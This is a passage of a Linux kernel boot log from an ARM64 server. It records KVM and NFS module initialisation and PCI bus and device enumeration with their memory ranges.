> [ 1.534062] UDP-Lite hash table entries: 32768 (order: 9, 2097152 bytes, linear)
> [ 1.535088] NET: Registered PF_UNIX/PF_LOCAL protocol family
> [ 1.535174] RPC: Registered named UNIX socket transport module.
> [ 1.535175] RPC: Registered udp transport module.
> [ 1.535176] RPC: Registered tcp transport module.
> [ 1.535176] RPC: Registered tcp-with-tls transport module.
> [ 1.535177] RPC: Registered tcp NFSv4.1 backchannel transport module.
> [ 1.535180] PCI: CLS 0 bytes, default 64
> [ 1.541629] kvm [1]: nv: 570 coarse grained trap handlers
> [ 1.541676] kvm [1]: nv: 664 fine grained trap handlers
> [ 1.541766] kvm [1]: IPA Size Limit: 48 bits
> [ 1.548056] kvm [1]: GICv4 support disabled
> [ 1.548057] kvm [1]: GICv3: no GICV resource entry
> [ 1.548058] kvm [1]: disabling GICv2 emulation
> [ 1.555880] kvm [1]: GIC system register CPU interface enabled
> [ 1.555884] kvm [1]: vgic interrupt IRQ9
> [ 1.570657] kvm [1]: VHE mode initialized successfully
> [ 1.578452] Initialise system trusted keyrings
> [ 1.578480] workingset: timestamp_bits=42 max_order=24 bucket_order=0
> [ 1.578608] squashfs: version 4.0 (2009/01/31) Phillip Lougher
> [ 1.578668] NFS: Registering the id_resolver key type
> [ 1.578672] Key type id_resolver registered
> [ 1.578673] Key type id_legacy registered
> [ 1.578678] nfs4filelayout_init: NFSv4 File Layout Driver Registering...
> [ 1.578680] nfs4flexfilelayout_init: NFSv4 Flexfile Layout Driver Registering...
> [ 1.578706] 9p: Installing v9fs 9p2000 file system support
> [ 1.594917] Key type asymmetric registered
> [ 1.594918] Asymmetric key parser 'x509' registered
> [ 1.594931] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 244)
> [ 1.594932] io scheduler mq-deadline registered
> [ 1.594933] io scheduler kyber registered
> [ 1.653266] ledtrig-cpu: registered to indicate activity on CPUs
> [ 1.653427] pci-host-generic 878000000000.pci: host bridge /soc@0/pci@878000000000 ranges:
> [ 1.653437] pci-host-generic 878000000000.pci: MEM 0x802000000000..0x80f0008fffff -> 0x802000000000
> [ 1.653442] pci-host-generic 878000000000.pci: MEM 0x828000000000..0x8281001fffff -> 0x828000000000
> [ 1.653447] pci-host-generic 878000000000.pci: MEM 0x82c000000000..0x82c0001fffff -> 0x82c000000000
> [ 1.653451] pci-host-generic 878000000000.pci: MEM 0x86d000000000..0x86d0000fffff -> 0x86d000000000
> [ 1.653455] pci-host-generic 878000000000.pci: MEM 0x86e000000000..0x86e22fffffff -> 0x86e000000000
> [ 1.653458] pci-host-generic 878000000000.pci: MEM 0x87e002000000..0x87e027ffffff -> 0x87e002000000
> [ 1.653462] pci-host-generic 878000000000.pci: MEM 0x87e03c000000..0x87e0525fffff -> 0x87e03c000000
> [ 1.653466] pci-host-generic 878000000000.pci: MEM 0x87e087000000..0x87e0fcffffff -> 0x87e087000000
> [ 1.653469] pci-host-generic 878000000000.pci: MEM 0x87e100000000..0x87e10bffffff -> 0x87e100000000
> [ 1.653479] pci-host-generic 878000000000.pci: Memory resource size exceeds max for 32 bits
> [ 1.653480] pci-host-generic 878000000000.pci: Memory resource size exceeds max for 32 bits
> [ 1.653481] pci-host-generic 878000000000.pci: Memory resource size exceeds max for 32 bits
> [ 1.653493] pci-host-generic 878000000000.pci: ECAM at [mem 0x878000000000-0x87800fffffff] for [bus 00-ff]
> [ 1.653559] pci-host-generic 878000000000.pci: PCI host bridge to bus 0000:00
> [ 1.653561] pci_bus 0000:00: root bus resource [bus 00-ff]
> [ 1.653563] pci_bus 0000:00: root bus resource [mem 0x802000000000-0x80f0008fffff]
> [ 1.653564] pci_bus 0000:00: root bus resource [mem 0x828000000000-0x8281001fffff]
> [ 1.653566] pci_bus 0000:00: root bus resource [mem 0x82c000000000-0x82c0001fffff]
> [ 1.653567] pci_bus 0000:00: root bus resource [mem 0x86d000000000-0x86d0000fffff]
> [ 1.653568] pci_bus 0000:00: root bus resource [mem 0x86e000000000-0x86e22fffffff]
> [ 1.653569] pci_bus 0000:00: root bus resource [mem 0x87e002000000-0x87e027ffffff]
> [ 1.653570] pci_bus 0000:00: root bus resource [mem 0x87e03c000000-0x87e0525fffff]
> [ 1.653571] pci_bus 0000:00: root bus resource [mem 0x87e087000000-0x87e0fcffffff]
> [ 1.653572] pci_bus 0000:00: root bus resource [mem 0x87e100000000-0x87e10bffffff]
> [ 1.653637] pci 0000:00:01.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 1.653655] pci 0000:00:01.0: PCI bridge to [bus 01] (subtractive decode)
> [ 1.653660] pci 0000:00:01.0: bridge window [mem 0x00000000-0x000fffff]
> [ 1.653834] pci 0000:00:03.0: [177d:a062] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.653872] pci 0000:00:03.0: BAR 0 [mem 0x830000000000-0x8300001fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.654011] pci 0000:00:05.0: [177d:a017] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.654050] pci 0000:00:05.0: BAR 0 [mem 0x802000000000-0x8020000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.654055] pci 0000:00:05.0: BAR 4 [mem 0x80200f000000-0x80200f0fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.654203] pci 0000:00:08.0: [177d:a09e] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.654246] pci 0000:00:08.0: BAR 0 [mem 0x807000000000-0x80700000ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.654251] pci 0000:00:08.0: BAR 4 [mem 0x807000f00000-0x807000ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.654382] pci 0000:00:0a.0: [177d:a09d] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.654422] pci 0000:00:0a.0: BAR 0 [mem 0x87a400000000-0x87a47fffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.654428] pci 0000:00:0a.0: BAR 4 [mem 0x87a480000000-0x87a4ffffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.654556] pci 0000:00:0c.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 1.654569] pci 0000:00:0c.0: PCI bridge to [bus 02] (subtractive decode)
> [ 1.654574] pci 0000:00:0c.0: bridge window [mem 0x00000000-0x000fffff]
> [ 1.654675] pci 0000:00:0d.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 1.654687] pci 0000:00:0d.0: PCI bridge to [bus 03] (subtractive decode)
> [ 1.654691] pci 0000:00:0d.0: bridge window [mem 0x00000000-0x000fffff]
> [ 1.654788] pci 0000:00:0e.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 1.654799] pci 0000:00:0e.0: PCI bridge to [bus 04] (subtractive decode)
> [ 1.654802] pci 0000:00:0e.0: bridge window [mem 0x00000000-0x000fffff]
> [ 1.654890] pci 0000:00:0f.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 1.654904] pci 0000:00:0f.0: PCI bridge to [bus 05] (subtractive decode)
> [ 1.654907] pci 0000:00:0f.0: bridge window [mem 0x00000000-0x000fffff]
> [ 1.654994] pci 0000:00:10.0: [177d:a092] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.655030] pci 0000:00:10.0: BAR 0 [mem 0x828000000000-0x82803fffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655035] pci 0000:00:10.0: BAR 4 [mem 0x828100000000-0x8281000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655128] pci 0000:00:11.0: [177d:a00a] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.655165] pci 0000:00:11.0: BAR 0 [mem 0x803000000000-0x80300000ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655170] pci 0000:00:11.0: BAR 4 [mem 0x803000f00000-0x803000ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655322] pci 0000:00:14.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 1.655335] pci 0000:00:14.0: PCI bridge to [bus 06] (subtractive decode)
> [ 1.655339] pci 0000:00:14.0: bridge window [mem 0x00000000-0x000fffff]
> [ 1.655575] pci 0000:00:1a.0: [177d:a068] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.655619] pci 0000:00:1a.0: BAR 0 [mem 0x86d000000000-0x86d0000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655729] pci 0000:00:1c.0: [177d:a067] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.655773] pci 0000:00:1c.0: BAR 0 [mem 0x82c000000000-0x82c0000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655778] pci 0000:00:1c.0: BAR 4 [mem 0x82c000100000-0x82c0001fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655875] pci 0000:00:1d.0: [177d:a067] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.655911] pci 0000:00:1d.0: BAR 0 [mem 0x82d000000000-0x82d0000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655916] pci 0000:00:1d.0: BAR 4 [mem 0x82d000100000-0x82d0001fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655997] pci 0000:00:1e.0: [177d:a067] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.656034] pci 0000:00:1e.0: BAR 0 [mem 0x82e000000000-0x82e0000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656039] pci 0000:00:1e.0: BAR 4 [mem 0x82e000100000-0x82e0001fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656194] pci 0000:01:00.0: [177d:a075] type 00 class 0x088000 PCIe Endpoint
> [ 1.656234] pci 0000:01:00.0: BAR 0 [mem 0x87e0fc000000-0x87e0fc03ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656240] pci 0000:01:00.0: BAR 4 [mem 0x87e0fcf00000-0x87e0fcffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656357] pci 0000:01:01.3: [177d:a02b] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.656402] pci 0000:01:01.3: BAR 0 [mem 0x87e005000000-0x87e0050fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656509] pci 0000:01:01.7: [177d:a035] type 00 class 0x088000 PCIe Endpoint
> [ 1.656556] pci 0000:01:01.7: BAR 0 [mem 0x87e001000000-0x87e0010fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656561] pci 0000:01:01.7: BAR 2 [mem 0x800000000000-0x8000ffffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656565] pci 0000:01:01.7: BAR 4 [mem 0x87e001f00000-0x87e001ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656673] pci 0000:01:0a.0: [177d:a094] type 00 class 0x088000 PCIe Endpoint
> [ 1.656717] pci 0000:01:0a.0: BAR 0 [mem 0x87e120000000-0x87e1200fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656721] pci 0000:01:0a.0: BAR 4 [mem 0x87e120f00000-0x87e120ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656834] pci 0000:01:0a.1: [177d:a094] type 00 class 0x088000 PCIe Endpoint
> [ 1.656877] pci 0000:01:0a.1: BAR 0 [mem 0x87e121000000-0x87e1210fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656881] pci 0000:01:0a.1: BAR 4 [mem 0x87e121f00000-0x87e121ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656981] pci 0000:01:0a.2: [177d:a094] type 00 class 0x088000 PCIe Endpoint
> [ 1.657022] pci 0000:01:0a.2: BAR 0 [mem 0x87e122000000-0x87e1220fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657026] pci 0000:01:0a.2: BAR 4 [mem 0x87e122f00000-0x87e122ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657128] pci 0000:01:0c.0: [177d:a073] type 00 class 0x088000 PCIe Endpoint
> [ 1.657171] pci 0000:01:0c.0: BAR 0 [mem 0x87e010000000-0x87e0100fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657176] pci 0000:01:0c.0: BAR 2 [mem 0x87e1bf000000-0x87e1bfffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657181] pci 0000:01:0c.0: BAR 4 [mem 0x87e010100000-0x87e0101fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657282] pci 0000:01:0f.0: [177d:a061] type 00 class 0x088000 PCIe Endpoint
> [ 1.657327] pci 0000:01:0f.0: BAR 0 [mem 0x87e018000000-0x87e01800ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657430] pci 0000:01:10.0: [177d:a060] type 00 class 0x028000 PCIe Endpoint
> [ 1.657477] pci 0000:01:10.0: BAR 0 [mem 0x87e0e0000000-0x87e0e07fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657481] pci 0000:01:10.0: BAR 4 [mem 0x87e0e0800000-0x87e0e0ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657588] pci 0000:01:10.1: [177d:a060] type 00 class 0x028000 PCIe Endpoint
> [ 1.657636] pci 0000:01:10.1: BAR 0 [mem 0x87e0e1000000-0x87e0e17fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657640] pci 0000:01:10.1: BAR 4 [mem 0x87e0e1800000-0x87e0e1ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657752] pci 0000:01:14.0: [177d:a097] type 00 class 0x088000 PCIe Endpoint
> [ 1.657793] pci 0000:01:14.0: BAR 0 [mem 0x87e140000000-0x87e1400fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657903] pci 0000:01:14.1: [177d:a097] type 00 class 0x088000 PCIe Endpoint
> [ 1.657941] pci 0000:01:14.1: BAR 0 [mem 0x87e141000000-0x87e1410fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658036] pci 0000:01:14.2: [177d:a097] type 00 class 0x088000 PCIe Endpoint
> [ 1.658075] pci 0000:01:14.2: BAR 0 [mem 0x87e142000000-0x87e1420fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658178] pci 0000:01:14.3: [177d:a097] type 00 class 0x088000 PCIe Endpoint
> [ 1.658218] pci 0000:01:14.3: BAR 0 [mem 0x87e143000000-0x87e1430fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658313] pci 0000:01:14.4: [177d:a097] type 00 class 0x088000 PCIe Endpoint
> [ 1.658360] pci 0000:01:14.4: BAR 0 [mem 0x87e144000000-0x87e1440fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658467] pci 0000:01:18.0: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.658508] pci 0000:01:18.0: BAR 0 [mem 0x87e100000000-0x87e10000ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658513] pci 0000:01:18.0: BAR 4 [mem 0x87e100f00000-0x87e100ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658637] pci 0000:01:18.1: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.658683] pci 0000:01:18.1: BAR 0 [mem 0x87e101000000-0x87e10100ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658688] pci 0000:01:18.1: BAR 4 [mem 0x87e101f00000-0x87e101ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658807] pci 0000:01:18.2: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.658854] pci 0000:01:18.2: BAR 0 [mem 0x87e102000000-0x87e10200ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658859] pci 0000:01:18.2: BAR 4 [mem 0x87e102f00000-0x87e102ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658968] pci 0000:01:18.4: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.659010] pci 0000:01:18.4: BAR 0 [mem 0x87e104000000-0x87e10400ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659015] pci 0000:01:18.4: BAR 4 [mem 0x87e104f00000-0x87e104ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659125] pci 0000:01:18.5: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.659166] pci 0000:01:18.5: BAR 0 [mem 0x87e105000000-0x87e10500ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659171] pci 0000:01:18.5: BAR 4 [mem 0x87e105f00000-0x87e105ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659287] pci 0000:01:18.6: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.659332] pci 0000:01:18.6: BAR 0 [mem 0x87e106000000-0x87e10600ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659337] pci 0000:01:18.6: BAR 4 [mem 0x87e106f00000-0x87e106ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659453] pci 0000:01:18.7: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.659499] pci 0000:01:18.7: BAR 0 [mem 0x87e107000000-0x87e10700ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659504] pci 0000:01:18.7: BAR 4 [mem 0x87e107f00000-0x87e107ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659629] pci 0000:01:19.0: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.659670] pci 0000:01:19.0: BAR 0 [mem 0x87e108000000-0x87e10800ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659674] pci 0000:01:19.0: BAR 4 [mem 0x87e108f00000-0x87e108ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659796] pci 0000:01:19.1: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.659842] pci 0000:01:19.1: BAR 0 [mem 0x87e109000000-0x87e10900ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659846] pci 0000:01:19.1: BAR 4 [mem 0x87e109f00000-0x87e109ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659964] pci 0000:01:19.2: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.660003] pci 0000:01:19.2: BAR 0 [mem 0x87e10a000000-0x87e10a00ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660008] pci 0000:01:19.2: BAR 4 [mem 0x87e10af00000-0x87e10affffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660121] pci 0000:01:19.3: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.660162] pci 0000:01:19.3: BAR 0 [mem 0x87e10b000000-0x87e10b00ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660167] pci 0000:01:19.3: BAR 4 [mem 0x87e10bf00000-0x87e10bffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660340] pci 0000:02:00.0: [177d:a075] type 00 class 0x088000 PCIe Endpoint
> [ 1.660382] pci 0000:02:00.0: BAR 0 [mem 0x87e0f9000000-0x87e0f903ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660519] pci 0000:03:00.0: [177d:a075] type 00 class 0x088000 PCIe Endpoint
> [ 1.660564] pci 0000:03:00.0: BAR 0 [mem 0x87e0fa000000-0x87e0fa03ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660706] pci 0000:04:00.0: [177d:a075] type 00 class 0x088000 PCIe Endpoint
> [ 1.660746] pci 0000:04:00.0: BAR 0 [mem 0x87e0fb000000-0x87e0fb03ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660885] pci 0000:05:00.0: [177d:a098] type 00 class 0x120000 PCIe Endpoint
> [ 1.660933] pci 0000:05:00.0: BAR 0 [mem 0x87e00f000000-0x87e00f0fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660938] pci 0000:05:00.0: VF BAR 2 [mem 0x80f000800000-0x80f0008fffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 1.660988] pci 0000:05:00.0: VF BAR 0 [mem 0x80f000800000-0x80f0008fffff 64bit]: contains BAR 0 for 1 VFs
> [ 1.661101] pci 0000:06:00.0: [177d:a080] type 00 class 0x088000 PCIe Endpoint
> [ 1.661143] pci 0000:06:00.0: BAR 0 [mem 0x86e000000000-0x86e0ffffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.661147] pci 0000:06:00.0: BAR 4 [mem 0x86e100000000-0x86e1000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.661151] pci 0000:06:00.0: VF BAR 2 [mem 0x86e200000000-0x86e2000fffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 1.661156] pci 0000:06:00.0: bridge window [mem 0x86e210000000-0x86e2100fffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.686424] pci 0000:06:00.0: VF BAR 0 [mem 0x86e200000000-0x86e201ffffff 64bit]: contains BAR 0 for 32 VFs
> [ 2.686428] pci 0000:06:00.0: VF BAR 4 [mem 0x86e210000000-0x86e211ffffff 64bit]: contains BAR 4 for 32 VFs
> [ 2.686605] pci 0000:00:01.0: PCI bridge to [bus 01]
> [ 2.686610] pci 0000:00:0c.0: PCI bridge to [bus 02]
> [ 2.686612] pci 0000:00:0d.0: PCI bridge to [bus 03]
> [ 2.686613] pci 0000:00:0e.0: PCI bridge to [bus 04]
> [ 2.686615] pci 0000:00:0f.0: PCI bridge to [bus 05]
> [ 2.686618] pci 0000:00:14.0: PCI bridge to [bus 06]
> [ 2.686621] pci_bus 0000:00: resource 4 [mem 0x802000000000-0x80f0008fffff]
> [ 2.686622] pci_bus 0000:00: resource 5 [mem 0x828000000000-0x8281001fffff]
> [ 2.686624] pci_bus 0000:00: resource 6 [mem 0x82c000000000-0x82c0001fffff]
> [ 2.686625] pci_bus 0000:00: resource 7 [mem 0x86d000000000-0x86d0000fffff]
> [ 2.686626] pci_bus 0000:00: resource 8 [mem 0x86e000000000-0x86e22fffffff]
> [ 2.686627] pci_bus 0000:00: resource 9 [mem 0x87e002000000-0x87e027ffffff]
> [ 2.686628] pci_bus 0000:00: resource 10 [mem 0x87e03c000000-0x87e0525fffff]
> [ 2.686629] pci_bus 0000:00: resource 11 [mem 0x87e087000000-0x87e0fcffffff]
> [ 2.686630] pci_bus 0000:00: resource 12 [mem 0x87e100000000-0x87e10bffffff]
> [ 2.688126] pci-host-generic 878020000000.pci: host bridge /soc@0/pci@878020000000 ranges:
> [ 2.688146] pci-host-generic 878020000000.pci: MEM 0x840000000000..0x85f4ffffffff -> 0x840000000000
> [ 2.688149] pci-host-generic 878020000000.pci: MEM 0x09fc000000..0x09ff03ffff -> 0x09fc000000
> [ 2.688153] pci-host-generic 878020000000.pci: Memory resource size exceeds max for 32 bits
> [ 2.688164] pci-host-generic 878020000000.pci: ECAM at [mem 0x878020000000-0x87802fffffff] for [bus 00-ff]
> [ 2.688186] pci-host-generic 878020000000.pci: PCI host bridge to bus 0002:00
> [ 2.688188] pci_bus 0002:00: root bus resource [bus 00-ff]
> [ 2.688189] pci_bus 0002:00: root bus resource [mem 0x840000000000-0x85f4ffffffff]
> [ 2.688190] pci_bus 0002:00: root bus resource [mem 0x9fc000000-0x9ff03ffff]
> [ 2.688210] pci 0002:00:00.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688223] pci 0002:00:00.0: PCI bridge to [bus fa] (subtractive decode)
> [ 2.688227] pci 0002:00:00.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688324] pci 0002:00:01.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688336] pci 0002:00:01.0: PCI bridge to [bus fb] (subtractive decode)
> [ 2.688340] pci 0002:00:01.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688440] pci 0002:00:02.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688453] pci 0002:00:02.0: PCI bridge to [bus fc] (subtractive decode)
> [ 2.688456] pci 0002:00:02.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688553] pci 0002:00:03.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688568] pci 0002:00:03.0: PCI bridge to [bus fd] (subtractive decode)
> [ 2.688574] pci 0002:00:03.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688663] pci 0002:00:04.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688674] pci 0002:00:04.0: PCI bridge to [bus fe] (subtractive decode)
> [ 2.688677] pci 0002:00:04.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688765] pci 0002:00:05.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688777] pci 0002:00:05.0: PCI bridge to [bus ff] (subtractive decode)
> [ 2.688780] pci 0002:00:05.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688868] pci 0002:00:06.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688880] pci 0002:00:06.0: PCI bridge to [bus 00] (subtractive decode)
> [ 2.688883] pci 0002:00:06.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688977] pci 0002:00:07.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688989] pci 0002:00:07.0: PCI bridge to [bus 01] (subtractive decode)
> [ 2.688992] pci 0002:00:07.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689086] pci 0002:00:08.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689098] pci 0002:00:08.0: PCI bridge to [bus 02] (subtractive decode)
> [ 2.689102] pci 0002:00:08.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689195] pci 0002:00:09.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689208] pci 0002:00:09.0: PCI bridge to [bus 03] (subtractive decode)
> [ 2.689214] pci 0002:00:09.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689308] pci 0002:00:0a.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689320] pci 0002:00:0a.0: PCI bridge to [bus 04] (subtractive decode)
> [ 2.689324] pci 0002:00:0a.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689419] pci 0002:00:0b.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689434] pci 0002:00:0b.0: PCI bridge to [bus 05] (subtractive decode)
> [ 2.689440] pci 0002:00:0b.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689532] pci 0002:00:0c.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689544] pci 0002:00:0c.0: PCI bridge to [bus 06] (subtractive decode)
> [ 2.689548] pci 0002:00:0c.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689641] pci 0002:00:0d.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689653] pci 0002:00:0d.0: PCI bridge to [bus 07] (subtractive decode)
> [ 2.689656] pci 0002:00:0d.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689743] pci 0002:00:0e.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689756] pci 0002:00:0e.0: PCI bridge to [bus 08] (subtractive decode)
> [ 2.689759] pci 0002:00:0e.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689866] pci 0002:00:0f.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689898] pci 0002:00:0f.0: PCI bridge to [bus 09] (subtractive decode)
> [ 2.689902] pci 0002:00:0f.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689994] pci 0002:00:10.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690006] pci 0002:00:10.0: PCI bridge to [bus 0a] (subtractive decode)
> [ 2.690010] pci 0002:00:10.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690101] pci 0002:00:11.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690113] pci 0002:00:11.0: PCI bridge to [bus 0b] (subtractive decode)
> [ 2.690117] pci 0002:00:11.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690213] pci 0002:00:12.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690228] pci 0002:00:12.0: PCI bridge to [bus 0c] (subtractive decode)
> [ 2.690234] pci 0002:00:12.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690325] pci 0002:00:13.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690338] pci 0002:00:13.0: PCI bridge to [bus 0d] (subtractive decode)
> [ 2.690342] pci 0002:00:13.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690438] pci 0002:00:14.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690455] pci 0002:00:14.0: PCI bridge to [bus 0e] (subtractive decode)
> [ 2.690459] pci 0002:00:14.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690549] pci 0002:00:15.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690561] pci 0002:00:15.0: PCI bridge to [bus 0f] (subtractive decode)
> [ 2.690565] pci 0002:00:15.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690661] pci 0002:00:16.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690672] pci 0002:00:16.0: PCI bridge to [bus 10] (subtractive decode)
> [ 2.690675] pci 0002:00:16.0: bridge window [mem 0x00000000-0x000fffff]
